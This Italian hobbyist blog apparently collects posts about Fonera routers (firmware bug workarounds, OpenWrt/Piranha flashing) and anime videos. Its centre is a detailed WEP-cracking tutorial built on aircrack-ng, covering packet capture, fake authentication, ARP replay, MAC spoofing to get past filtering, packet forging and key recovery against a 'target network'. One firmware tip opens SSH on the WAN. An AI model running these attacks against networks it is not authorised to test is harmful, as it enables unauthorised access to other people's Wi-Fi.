Quando la fonera 2.0g era in fase beta si chiedeva alla fon un router con 64mb di ram e il supporto alla tecnologia wifi n (tra le tante necessità queste almeno erano le più richieste). Adesso esiste ed è il nuovo router fonera 2.0n, si ma a che prezzo? Hanno ritirato dal mercato la “vecchia” fonera 2.0g e mandato una mail ai possessori di quest’ultima per incentivare l’acquisto della nuova macchina a prezzo scontato. Intanto i miei fonera si impilano uno sopra l’altro…

Sembra che si siano accorti che 32mb di ram erano troppo pochi per far girare tutte quelle applicazioni sulla fonera figuriamoci un client torrent. Nel frattempo ho sempre difficoltà ad accedere alla WebGui della fonera lato wan  obbligandomi ad riavviare firefox o peggio la fonera stessa (che impiega soli 5 minuti per rimettersi on-line).

Non tocchiamo nemmeno l’argomento del transfer-rate in ftp dal pc all’hard disk collegato alla fonera: semplicemente ridicolo. Ho un nas della LaCie che 10 volte più veloce!

Piuttosto che creare un nuovo router ora non potevano fin da subito progettare questo senza passare dallo step (fallito) della fonera 2.0g?

La nuova fonera 2.0n nonostante abbia uno switch di 4 porte queste non sono gigalan e le sue due antenne sono fisse, non so voi ma l’idea delle antenne fisse mi rabbrividisce. Ho diverse antenne wifi di varia portata da 2db a 16db che non potrei usare con questo router.

Spero che migliorino il supporto software per bene altrimenti a fare un fis init -f e mettere su OpenWrt non ci vuole poi molto…”soli” 30 minuti (almeno per le vecchie fonere, 3-5 minuti per la nuova). 👿

Fonera 2.0g firmware ufficiale 2.3.0.1 RC 1 e i suoi bug

Che la RC1 del firmware 2.3.0.1 della fonera 2.0g fosse baggato era cosa nota già dai primi momenti in cui è stato reso pubblico.


Anomalie:

fonera 2.0g shell

Questa è la shell della fonera 2.0g con l’ultimo firmware 2.3.0.1.
Come si può notare la dicitura è: Fonera 20n Firmware (v2.2.6.0)
Il che fa pensare che di fatto stiano facendo un unico firmware per entrambe le fonere 2.0g e 2.0n modificando solo il supporto per il processore Atheros AR2315 a 183Mhz per la fonera 2.0g e Ralink RT3052F a 300 Mhz per la fonera 2.0n.


Bug:

Se provate ad accedere dalla wan in ssh alla fonera riceverete un messaggio di errore di connessione rifiutata, questo anche se avete abilitato l’accesso ssh lato wan dalla fonera stessa.
Per risolvere questo problema, nella attesa di una release meno baggata, procedete così:

  1. Guadagnate l’accesso ssh sulla fonera (lato lan)

  2. Modificate il file:

    root@fonera:~# vi /etc/firewall.fon

  3. Aggiungete la riga (comando “i” per inserire nuovo testo nel file):

    iptables -A input_wan -p tcp --dport 22 -j ACCEPT

  4. Salvate (per salvare pigiate “esc”, poi “:wq”)

  5. Riavviate la fonera o riavviate il firewall:

    root@fonera:~# /etc/init.d/firewall restart

Questo sembrerebbe essere un bug introdotto proprio dalla versione del firmware 2.3.0.1 rc1.
Non è sicuramente un grave problema, ma per chi, come me, usa la shell della fonera può dare fastidio. 👿


Altro giro altro bug! 🙁

Posso confermare che questo bug era già presente nella versione precedente del firmware (2.2.6.0 rc2).
La fonera, come sapete, può collegarsi alla rete “wan” sia tramite cavo di rete che wifi.
Se volete impostare la modalità di connessione wifi e come il sottoscritto siete piuttosto esigenti sulla wpa passphrase  avrete qualche problema. L’interfaccia grafica della fonera infatti si rifiuta di salvare pass-phrases lunghe.
Es:

Fonera Internet Setting

Fonera Internet Setting (Clicca per ingrandire)

Nel mio caso uso una passphrase di 63 caratteri esadecimali. Quando pigiate il tasto salva la fonera vi segnalerà in rosso la vostra passphrase e si rifiuterà di salvare le impostazioni.
La soluzione che suggerisco è semplice:

  1. Inserire una passphrase fasulla di otto caratteri tipo “12345678” e salvare le impostazioni.

  2. Aprire una console sulla fonera e modificare il file:

    root@fonera:~# vi /etc/config/fon

  3. Cercate la riga:

    option 'psk' '12345678'

    e sostituitela con:

    option 'psk' 'inserite_la_vostra_passphrase'

    Es:

    Fonera passphrase config

  4. Salvate il file e riavviate la fonera.

Spero di aver dato una mano d’aiuto.

Installare piranha sulla fonera [Aggiornato]

[Aggiornamento 17-02-2010]

Informo che già dalla data 17-01-2010 il progetto piranha si è trasferito al seguente indirizzo: http://piranha.pwnz.org/,
inoltre sempre nella stessa data è stata rilasciata la versione 3.0 del firmware disponibile all’indirizzo:
http://piranha.pwnz.org/2010/01/17/piranha-3-0-100117/

 

Facendo una ricerca in rete è facile trovare tantissime guide per installare OpenWrt e derivati sul fonera. Per il piranha consiglio di usare la guida:

http://www.fonerahacks.com/index.php/Tutorials-and-Guides/Full-Legend-Flash-Guide.html, che risulta essere molto completa e estremamente simile alla procedura per installare il piranha con alcuni accorgimenti:

  1. scaricare il firmware del piranha dal sito ufficiale:

    http://piranha.klashed.net/pub/2.0/alpha4/, se volete la versione con l’interfaccia web (LuCi) presente.

    http://piranha.klashed.net/pub/3.0/090925/, se preferite la versione 3.0 più recente ma con meno pacchetti e senza interfaccia web.

  2. A prescindere dalle versione che preferite dovete scaricare i file:

    openwrt-atheros-root.squashfs e openwrt-atheros-vmlinux.lzma.

    Alternativamente se preferite potete scaricare la versione openwrt-atheros-root.jffs2-64k. Per maggiori info sulla differenza date un occhiata a questo post in lingua inglese.

  3. Eseguite nel RedBoot del vostro fonera questi comandi:
  4. Redboot> ip_addr -h 192.168.1.166 -l 192.168.1.254/24

    Redboot> fis init -f

    Redboot> load -r -b %{FREEMEMLO} openwrt-atheros-vmlinux.lzma

    Redboot> fis create -e 0x80041000 -r 0x80041000 vmlinux.bin.l7

    Redboot> fis free

    0xA80F0000 .. 0xA87E0000

  5. Nella shell del vostro computer (se avete linux) eseguite i seguenti comandi, riportando i valori che il comando fis free vi ha restituito e segnatevi il risultato.

    Se non avete linux eseguite la sottrazione dei valori con una calcolatrice scientifica in base 16 (quella di windows andrà benissimo).

    server:~# bc

    obase=16

    ibase=16

    A87E0000A80F0000

    6F0000

    quit

    (0xLENGTH is 0x006F0000 in questo caso)

  6. Nel ReedBoot della fonera:
  7. Redboot> load -r -b %{FREEMEMLO} openwrt-atheros-root.squashfs

    Redboot> fis create -l 0xLENGHT rootfs

    Redboot> fconfig

    >> fis load -l vmlinux.bin.l7

    >> exec

    >>

    Redboot> reset

Ho attinto le informazioni di questo post dal sito internet ufficiale del firmware piranha.

Riferitevi alla guida che vi ho suggerito prima per accedere al redboot del vostro fonera.

Se avete difficoltà ad accedere in ssh al vostro fonera leggete il paragrafo “Acquisizione dell’accesso ssh sul fonera” del post “Wep Hack with Aircrack-ng on fonera piranha 2.0 alpha 4“.

Wep Hack with Aircrack-ng on fonera piranha 2.0 alpha 4

>> Le informazioni presenti in questa guida sono da intendersi a solo uso didattico <<


Acquisizione dell’accesso ssh sul fonera. (solo per le nuove installazioni)

Il piranha è una distro basata su OpenWRT per fonera.
Per motivi di sicurezza nelle distribuzioni OpenWrt NON è specificata una password di default per l’account root, che deve essere settata al primo accesso all’interfaccia web (se presente) o tramite console telnet.
Dopo l’installazione sul fonera del firmware piranha 2.0 alpha 4, lanciate una console telnet.
L’indirizzo di default del fonera con firmware Piranha 2.0 alpha 4 è 192.168.1.1, mentre per il firmware 3.0 alla versione attuale “090916” (16-09-2009) è 10.0.0.1.
Le versioni del firmware Piranha 3.0 fino all’attuale 090916 (al momento in cui scrivo), benché siano più recenti, non possiedono l’interfaccia web (Luci).

Il firmware piranha è disponibile al seguente indirizzo: http://piranha.klashed.net/pub/
[Aggiornamento] Il progetto piranha si è trasferito al seguente indirizzo:  http://piranha.pwnz.org/

telnet 192.168.1.1
passwd

e inserite la vostra password

exit
ssh 192.168.1.1

entrate con le credenziali di root e la password che avete settato precedentemente.


Abilitazione del monitor mode

Loggatevi come root e inserite la vostra password appena definita

iwconfig ath0 | grep Mode

se leggete ” Mode:Monitor ... ” tutto ok altrimenti eseguite i due comandi qui riportati:

wlanconfig ath0 destroy
wlanconfig ath0 create wlandev wifi0 wlanmode monitor

Con questi due comandi avete settato la vostra fonera in modalità di ascolto.


Connessione di un unità di rete sulla fonera

Il fonera non dispone di spazio per salvare i pacchetti acquisiti, per cui è fondamentale salvare questi dati sul nostro pc.
Create una cartella d’appoggio sul fonera.

mkdir /mnt/share

Montiamo la cartella remota:

mount.cifs percorso_di_rete_del_nostro_pc/nome_cartella_condivisa /mnt/share -o user=Nome_del_nostro_account_sul_pc

Es:

mount.cifs //192.168.1.2/Condivisa /mnt/share -o user=root

Entrate nella cartella che avete montato.

cd /mnt/share


Sniffare e salvare i pacchetti catturati

Cominciamo a guardarci un po attorno:

airodump-ng ath0

Individuate la vostra rete bersaglio e salvatevi il numero del canale della rete e il suo bssid.
Chiudete airodump-ng con un bel ctrl-c e rilanciatelo con questi comandi.

airodump-ng -c numero --bssid 00:xx:xx:xx:xx:xx -w /mnt/share/nome_rete_bersaglio ath0

dove:

  • -c numero è il canale della rete wifi scelta,
  • --bssid 00:xx:xx:xx:xx:xx indica il mac dell’acces point che si sta attaccando,
  • -w /mnt/share/nome_rete_bersaglio indica il percorso e il nome del file che verrà creato contenente il traffico sniffato.

Da questo momento la vostra fonera salverà su hard disk tutti i pacchetti della rete bersaglio che avete scelto.

Lasciate il programma attivo e aprite un altra console ssh sulla fonera.


Attacchi standard

Per trovare la password di una rete wep con crittografia a 128 bit bisogna acquisire circa 400.000 pacchetti IV.
Dunque se non si vuole fare notte è opportuno cominciare a creare un po di traffico nella nostra rete bersaglio.

Lanciate l’attacco:

Fake authentication

aireplay-ng -1 0 -e NOME_RETE_BERSAGLIO -b 00:xx:xx:xx:xx:xx -h 00:18:84:xx:xx:xx ath0

dove:

  • -1 indica l’attacco fake authentication
  • 0 il tempo, espresso in secondi, di ri-associazione alla rete attaccata.
  • -b indica il mac dell’acces point che si sta attaccando (inserire il mac salvato all’inizio con airodump)
  • -h indica il mac del nostro fonera.
    Se non lo conoscete usate il comando: ifconfig ath0 | grep HWaddr

Questo è un passaggio estremamente importante, se durate questa fase visualizzate dei messaggi del tipo:

12:18:20 Sending Authentication Request (Open System) [ACK]
12:18:20 Authentication successful
12:18:20 Sending Association Request [ACK]
12:18:20 Association successful :--) (AID: 1)

Allora siete riusciti nell’intento di autenticarvi nella rete che state attaccando senza problemi e potete passare al prossimo attacco.
Con alcuni access points è possibile incorre in errori strani, se accadesse qualcosa del genere provate questo comando:

aireplay-ng -1 6000 -o 1 -q 10 -e NOME_RETE_BERSAGLIO -b 00:xx:xx:xx:xx:xx -h 00:18:84:xx:xx:xx ath0

dove:

  • 6000 Indica che ci si ri-autenticherà ogni 6000 secondi
  • -o 1 Indica che verrà mandato solo un set alla volta. Mandare più set di pacchetti può confondere alcuni access point.
  • -q 10 Indica che verrà mandato un pacchetto di Keep-alive ogni 10 secondi.

Se leggete nella shell:

12:20:22 Sending Authentication Request (Open System) [ACK]
12:20:22 Authentication successful
12:20:22 Sending Association Request
12:20:22 Association successful :--) (AID: 1)
12:20:32 Sending keep-alive packet [ACK]
12:20:42 Sending keep-alive packet [ACK]
...

tutto è andato per il meglio.
Eccovi un esempio di fake authentication fallito:

12:26:05 Sending Authentication Request (Open System) [ACK]
12:26:05 Authentication successful
12:26:05 Sending Association Request [ACK]
12:26:05 Association successful :--)
12:26:05 Got a deauthentication packet!
12:26:08 Sending Authentication Request (Open System) [ACK]
12:26:08 Authentication successful
12:26:08 Sending Association Request [ACK]
12:26:13 Sending Authentication Request (Open System) [ACK]
12:26:13 Authentication successful
12:26:13 Sending Association Request [ACK]

Non procedete oltre fin tanto che non riuscite ad avere un autenticazione corretta altrimenti qualsiasi tipo di attacco voi vogliate lanciare successivamente fallirà. Se avete il sentore che la rete che state attaccando abbia il MAC Filtering attivo, passate alla sezione Mac Spoofing.

Se leggete il messaggio: “AP rejects open-system authentication Please specify a PRGA-file (-y).
Passate direttamente al paragrafo Packet Injection con Packet Forge perché l’acces point che state attaccando rigetta l’autenticazione aperta. Eseguite un attacco di tipo Fragmentation o ChopChop e una volta ottenuto il file xor eseguite nuovamente il Fake authentication con queste opzioni:

aireplay-ng -1 0 -e NOME_RETE_BERSAGLIO -y file_xor_ottenuto.xor -a 00:xx:xx:xx:xx:xx -h 00:18:84:xx:xx:xx ath0

Lasciate il programma lavorare e aprite un altra console ssh sulla fonera.

Arp-request replay

aireplay-ng -3 -e NOME_RETE_BERSAGLIO -b 00:xx:xx:xx:xx:xx -h 00:18:84:xx:xx:xx ath0

dove

  • -3 indica l’attacco arp-request replay
  • -b indica il mac dell’acces point che si sta attaccando (inserire il mac salvato all’inizio con airodump)
  • -h indica il mac del nostro fonera. Se non lo conoscete guardate la base del fonera c’è scritto, o alternativamente lanciate il comando: ifconfig ath0 | grep HWaddr

Se tutto va bene dovreste vedere, nella shell dove avete eseguito airodump-ng, i numeri del campo “#Data” della rete attaccata crescere vertiginosamente.
Alternativamente potete provare l’attacco:

Interactive frame selection

aireplay-ng -2 -p 0841 -c FF:FF:FF:FF:FF:FF -b 00:xx:xx:xx:xx:xx -h 00:18:84:xx:xx:xx ath0
  • -b indica il mac dell’acces point che si sta attaccando (inserire il mac salvato all’inizio con airodump)
  • -h indica il mac del nostro fonera.


Mac Spoofing

Se la rete in questione ha attivo il mac filtering NON riuscirete ad eseguire correttamente l’autenticazione sulla rete wifi e conseguentemente gli attacchi non funzioneranno.
Esempio negativo

17:38:30 Sending Authentication Request (Open System) [ACK]
17:38:30 AP rejects the source MAC address (00:18:84:xx:xx:xx)?
Authentication failed (code 1)

Di seguito visioneremo diversi metodi per cambiare i mac nella fonera, funzionanti e non.

Primo metodo, (NON funziona per il fonera):
Benché non funzioni per il fonera, dato che funziona perfettamente su qualsiasi pc linux-based lo propongo lo stesso.

ifconfig ath0 down
ifconfig ath0 hw ether 00:xx:xx:xx:xx:xx
ifconfig ath0 up

Secondo metodo. (Non funziona sulla fonera modello 2100)
Accedete al Redboot del fonera e digitate:

set -m 00:xx:xx:xx:xx:xx

Terzo metodo. Aggiornato con la procedura corretta e testato da Orange:

# wlanconfig ath0 destroy
# macchanger -m 00:11:22:33:44:55 wifi0
# wlanconfig ath0 create wlandev wifi0 wlanmode [mode]

Il tool macchanger è presente nativamente nella distribuzione piranha.
[PS. Grazie sempre per il tuo tempestivo e cortese aiuto Orange.]

Quarto metodo, (non ho avuto tempo di testarlo).
Accedete al Redboot del fonera e digitate:

nvram set et0macaddr=mac_address
nvram set il0macaddr=mac_address + 1
nvram commit

Es:

nvram set et0macaddr=00:18:B8:E2:B9:4C
nvram set il0macaddr=00:18:B8:E2:B9:4D
nvram commit


Packet Injection con Packet Forge

Gli attacchi arp-request relay e interactive frame selection si basano sull’ascolto dei pacchetti che transitano sulla rete. In particolare l’arp-request relay aspetta di cogliere un pacchetto arp e una volta catturato inizia il packet injection vero e proprio. Viene da se che se, nella rete che state forzando, non ci sono client collegati non riuscirete a portare a buon fine il vostro attacco. In questo caso dovete crearvi a mano un pacchetto arp ad hoc.

Questo attacco prevede la creazione preliminare di un pacchetto ad hoc che verrà usato per eseguire il packet injection.

  1. Il primo passaggio da effettuare ci permetterà di recuperare delle informazioni essenziali per l’attacco della rete bersaglio, quali il mac di un client correttamente autenticato alla rete.
  2. Con Il secondo passaggio si effettuerà la forgiatura di un pacchetto ad hoc per l’attacco alla rete.
  3. Infine con il terzo ed ultimo passaggio si bombarderà la rete wifi con il pacchetto creato; l’access point risponderà alle nostre richieste generando traffico utile per l’hack della rete.

Prima di tutto bisogna creare il file xor detto anche file PRGA (pseudo random genration algorithm).
Avete due metodi che fanno al caso vostro:

Fragmentation

aireplay-ng -5 -b 00:xx:xx:xx:xx:xx -h 00:18:84:xx:xx:xx ath0

ChopChop

aireplay-ng -4 -b 00:xx:xx:xx:xx:xx -h 00:18:84:xx:xx:xx ath0

dove:

  • -5 indica l’attacco Fragmentation
  • -4 indica l’attacco ChopChop
  • -b specifica il bssid dell’acces point che vogliamo attaccare,
  • -h specifica il mac della vostra fonera.

Attendete che il file venga creato.
Verrà creato un file del tipo fragment-0101-024025.xor, dove i numeri saranno sicuramente diversi da questi.
Deve essere presente un client autenticato nella rete bersaglio che state attaccando.

Creiamo il pacchetto con Packetforge, (attenzione al nome del file xor):

packetforge-ng -0 -a 00:xx:xx:xx:xx:xx -h 00:18:84:xx:xx:xx -k 255.255.255.255 -l 255.255.255.255.255 -y fragment-0101-02-4025.xor -w nome_della_rete_bersaglio.arp

dove:

  • -a specifica il bssid dell’acces point che vogliamo attaccare,
  • -h specifica il mac della vostra fonera.

Eseguiamo il Packet Injection

aireplay-ng -2 -r nome_della_rete_bersaglio.arp ath0


Recupero della chiave della rete

Lanciate una nuova shell sul vostro pc e navigate nel vostro filesystem fino alla cartella condivisa che state usando per salvare i pacchetti che la fonera sta acquisendo e lanciate il comando:

aircrack-ng -z -b 00:xx:xx:xx:xx:xx nome_della rete_bersaglio.cap

Es:

aircrack-ng -z -b 00:12:34:56:78:9A wifi*.cap

dove:

  • -z invoca il metodo PWT-Wep cracking
  • -b è il bssid dell’acces point,
  • nome_della rete_bersaglio.cap è il file che il fonera ha creato contenente i pacchetti sniffati.

è importante lanciare questo comando sul vostro pc, infatti il fonera non ha abbastanza potenza di calcolo per trovare, in tempi umani, la chiave wep della rete wifi.


Approfondimenti

E’ possibile lanciare sulla fonera un server, con il comando:

airserv-ng -d ath0

dove -d indica l’interfaccia su cui il server verrà eseguito.
Il sistema in caso di successo risponde:

Opening card ath0
Setting chan 1
Opening sock port 666
Serving ath0 chan 1 on port 666

Mentre sul nostro pc locale basterà lanciare il comando:

airodump-ng indirizzo_della_fonera:666

Es:

airodump-ng 192.168.1.1:666

Questo esempio è valido anche per gli altri programmi della suite aircrack-ng basta sostituire al nome della scheda di rete (ath0) l’indirizzo e la porta del server che abbiamo lanciato sulla fonera e il gioco è fatto.
Dato che i programmi verranno lanciati nel vostro pc, il processore del fonera non sarà caricato troppo di lavoro, oltretutto viene meno anche il bisogno di montare una cartella remota nel fonera. 🙂


Aggiornamento

Come Orange mi suggerisce nel suo commento è possibile passare dalla modalità access point alla modalità monitor usando lo script, fornito dalla versione 3 del firmware piranha, “monitor” che distrugge tutte le VAP (Virtual Access Points) e crea un nuovo VAP in modalità monitor.

# /etc/init.d/aap stop
# monitor

La sua controparte è lo script “sta“:

# sta
# /etc/init.d/aap start

che riporta la fonera in modalità access point.

Ps. Thanks Orange 😉


Link utili

>> Le informazioni presenti in questa guida sono da intendersi a solo uso didattico <<

Anime Music Video [rev 2]

Questi amv sono un omaggio al sito di fansubber MTFansub.

Bleach, Save Rukia Beyond Limits Info

Download by: TorrentMegaupload [73.5 Mb] CRC: F1612B1D

Video
Editing / Montaggio: Sony Vegas Video 7
Resolution / Risoluzione: 704×528, 23.976 fps, 4:3
Codec / Codifica: 1.161Kbps, Xvid

Audio
Track: Hans Zimmer – Injection; Bare Island 44100Hz Stereo Mp3 192Kbps
Lenght / Durata: 7:12 min


DearS – Oh Boy! Info

Download by: TorrentMegaupload [38.9 Mb] CRC: 7EA48C6D

Video
Editing / Montaggio: Sony Vegas Video 7
Resolution / Risoluzione: 640×480, 23.976 fps, 4:3
Codec / Codifica: 1.098Kbps, Xvid

Audio
Track: Transcargo – Oh Boy 44100Hz Stereo Mp3 192Kbps
Lenght / Durata: 3:57 min


Ergo Proxy – Kiri Info

Download by: TorrentMegaupload [26.6 Mb] CRC: 93846B13

Video
Editing / Montaggio: Sony Vegas Video 7
Resolution / Risoluzione: 1280×720, 23.976 fps, 16:9
Codec / Codifica: 1.636Kbps, Xvid

Audio
Track: Monoral – Kiri 44100Hz Stereo Mp3 192Kbps
Lenght / Durata: 1:56 min


Ergo Proxy – Joker Info

Download by: TorrentMegaupload [68.9 Mb] CRC: B7FCD550

Video
Editing / Montaggio: Sony Vegas Video 7
Resolution / Risoluzione: 1280×720, 23.976 fps, 16:9
Codec / Codifica: 1.495Kbps, Xvid

Audio
Track: Steve Conte – Heaven not enough 44100Hz Stereo Mp3 192Kbps
Lenght / Durata: 5:29 min


Guestbook… aggiornato!

Sempre un grande grazie a Gringo!
Ogni qual volta passi da qui riesci sempre a farmi notare un bug da qualche parte.
Sarai sfortunato? deejavu? Se non ricordo male i chapta del mio guestbook non ti ha mai sopportato.

Ad ogni modo ho soppresso i chapta del guestbook in favore di askimet e
ho aggiornato le tabelle del guestbook che contenevano degli errori dovuti
all’aggiornamento del plugin stesso.
Adesso tutto funziona: testato personalmente.

Un abbraccio a Gringo: sei sempre il benvenuto!  🙂

Ps.
Ho installato ubuntu 9.04  a 64bit sul mio portatile che adesso è diventato una scheggia ad avviarsi rispetto alla versione 8.10.
Tuttavi la funzione “suspend” , come in tutte le altre versioni precedcenti di ubuntu, mi pianta il pc.
(Acer Aspire 1520, 2gb di ram, AMD Athlon 64 3000+, Nvidia GeForce Fx Go 5700 64mb ram)
Nel frattempo confermo il mio odio verso il plugin flash della macromedia che mi uccide il processore.